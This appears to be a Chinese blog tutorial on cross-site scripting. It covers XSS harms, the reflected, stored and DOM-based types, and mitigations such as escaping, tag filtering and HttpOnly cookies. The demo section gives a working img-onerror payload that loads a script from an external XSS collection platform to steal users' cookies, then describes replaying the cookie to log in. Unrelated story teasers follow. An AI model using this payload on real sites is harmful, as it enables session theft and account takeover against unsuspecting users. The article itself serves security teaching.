XSS攻击

1、XSS

XSS(Cross Site Scripting)攻击全称跨站脚本攻击,为了不与CSS(Cascading Style Sheets)混淆,故将跨站脚本攻击缩写为XSS,XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。
通俗的来说就是我们的页面在加载并且渲染绘制的过程中,如果加载并执行了意料之外的程序或代码(脚本、样式),就可以认为是受到了 XSS攻击。

  • XSS更多是发生在web前端的一种漏洞,所以危害的对象主要还是前端用户。


    XSS

2、XSS的危害

  • 挂马。
  • 盗取用户Cookie、账号等信息。
  • DOS(拒绝服务)客户端浏览器。
  • 前端JS挖矿。
  • 钓鱼攻击,高级的钓鱼技巧。
  • 删除目标文章、恶意篡改数据、嫁祸。
  • 劫持用户Web行为,甚至进一步渗透内网。
  • 爆发Web2.0蠕虫。
  • 蠕虫式的DDoS攻击。
  • 蠕虫式挂马攻击、刷广告、刷浏量、破坏网上数据

3、XSS分类

  • 反射型:
    也叫非持久型XSS,交互数据一般不会被存在数据库里面,一次性,所见即所得。一般XSS代码出现在请求URL中,作为参数提交到服务器,服务器解析并响应,响应结果中包含XSS代码,最后浏览器解析并执行。

    场景:
    1、用户A给用户B发送一个恶意构造了Web的URL。
    2、用户B点击并查看了这个URL。
    3、用户B获取到一个具有漏洞的HTML页面并显示在本地浏览器中。
    4、漏洞HTML页面执行恶意JavaScript脚本,将用户B信息盗取发送给用户A,或者篡改用户B看到的数据等。


    反射型XSS
  • 存储型:
    也叫持久型XSS,主要将XSS代码提交存储在服务器端(数据库,内存,文件系统等),下次请求目标页面时不用再提交XSS代码。当目标用户访问该页面获取数据时,XSS代码会从服务器解析之后加载出来,返回到浏览器做正常的HTML和JS解析执行,XSS攻击就发生了。
    场景:
    1、用户A在网页上创建了某个账户,并且账户信息中包含XSS代码。
    2、用户B访问该网站查看XSS代码账户详情页面。
    3、服务端返回账户详情页面,和带XSS账户信息。
    4、用户B浏览器执行XSS代码,将用户B信息盗取发送给用户A,或者篡改用户B看到的数据等。


    存储型XSS
  • DOM型
    一种特殊的反射型XSS。由客户端的脚本程序可以动态地检查和修改页面内容,而不依赖于服务器端的数据。一般从url中提取数据中含xss,未过滤并在本地执行dom的渲染操作,输入来源多是document.location、document.URL、document.URLUnencoded、document.referrer、window.location等,而触发api多是document.write()、document.writeln()、document.innerHtml、eval()、window.execScript()、window.setInterval()、window.setTimeout()等。
    场景:
    1、用户B访问网站url中带有XSS代码参数。
    2、浏览器下载该网站JavaScript脚本。
    3、JavaScript脚本有个方法获取URL中XSS代码参数,并且用innerHtml渲染在dom中。
    4、触发XSS代码,造成XSS攻击,cookie数据失窃。


    DOM型XSS

4、示例分析

1、入参不严谨,对入参没做任何规则校验。

2、用参太随意,对未知参数未过滤,直接丢给dom操作。

漏洞演示:机密性 - 窃取用户cookie信息

  • 步骤1:借助https://xss.fbisb.com平台,创建项目test

    步骤1

  • 步骤2:再利用平台提供的xss代码:https://xss.fbisb.com/JGtp

  • 步骤3:新建含xss代码的账户:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='xss代码的url';>
    步骤3
  • 步骤4:别的用户登录查看包含该账户名的日志信息,触发XSS
    步骤4
  • 步骤5:fbisb.com平台获取到用户cookie信息
    步骤5
  • 步骤6:利用无痕浏览器访问目标网站,将cookie信息写入,免登陆进入平台

5、如何避免XSS攻击

  1. innerHTML(原生)、v-html(vue)、dangerouslySetInnerHTML(react)等直接渲染html的函数慎用,确保渲染的数据是由前端写死的、无危害的才可直接使用;
  2. 使用innerHTML(原生)、v-html(vue)、dangerouslySetInnerHTML(react)等直接渲染html的函数渲染请求数据时,需要先把字符串转义:
    1)、把 > 替换成 &gt;
    2)、把 < 替换成 &lt;
    3)、把 & 替换成 &amp``;
    4)、把 " 替换成 &quot``;
    5)、把 ' 替换成 &#39``;
  3. 字符过滤:
    1)、过滤掉特殊的HTML标签,例如<script><iframe>等;
    2)、过滤掉Javascript事件标签,例如"onclick""onfocus"等;
  4. Http Only cookie;
  5. 输入检查:对产品输入要求格式严谨检查过滤;

6、讨论&思考

1.学习规范安全编码
根在人为,如果没有规范的学习过前端知识,特别是安全规范知识,直接跨端做前端开发的时候,很多时候知道一个功能怎么去实现,然后百度找api,找到api发现可以使用即可,通常会发生为了实现功能而忽略安全。所以我们在找到可用api时,还得查历该api是否存在安全隐患,需要如何规避、或者有其他更安全的api。

2.对不可信数据保持敏感
对于任何非前端代码数预置数据,保持敏感对待,是否用于dom操作渲染,如果是则需要做相应的过滤处理,或者换其他安全实现方式。

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 194,242评论 5 459
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 81,769评论 2 371
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 141,484评论 0 319
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 52,133评论 1 263
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 61,007评论 4 355
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 46,080评论 1 272
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 36,496评论 3 381
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 35,190评论 0 253
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 39,464评论 1 290
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 34,549评论 2 309
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 36,330评论 1 326
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,205评论 3 312
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 37,567评论 3 298
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 28,889评论 0 17
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,160评论 1 250
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 41,475评论 2 341
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 40,650评论 2 335

推荐阅读更多精彩内容

  • XSS,即cross-site-scripting,跨站脚本攻击。 跨站脚本攻击是指通过存在安全漏洞的Web网站...
    喵喵喵不吃小鱼干阅读 1,486评论 0 3
  • 跨站脚本攻击(XSS) 跨站脚本攻击(XSS)是客户端脚本安全的头号大敌,OWASP TOP 10 威胁多次把XS...
    d2b62a36d879阅读 474评论 0 0
  • XSS定义 XSS, 即为(Cross Site Scripting), 中文名为跨站脚本, 是发生在目标用户的浏...
    Yixi_Li阅读 1,372评论 0 4
  • xss攻击 XSS(Cross Site Scripting), 跨站脚本攻击,是发生在目标用户的浏览器层面上,当...
    广告位招租阅读 2,768评论 0 6
  • 阳春三月,万物皆苏,杨柳依依,桃李芬芳,玉兰飘香,人生欢喜,喜从何来,是阳光的温和,大地的碧绿,车来车往的井然有序...
    蔡龙飞啊阅读 298评论 0 2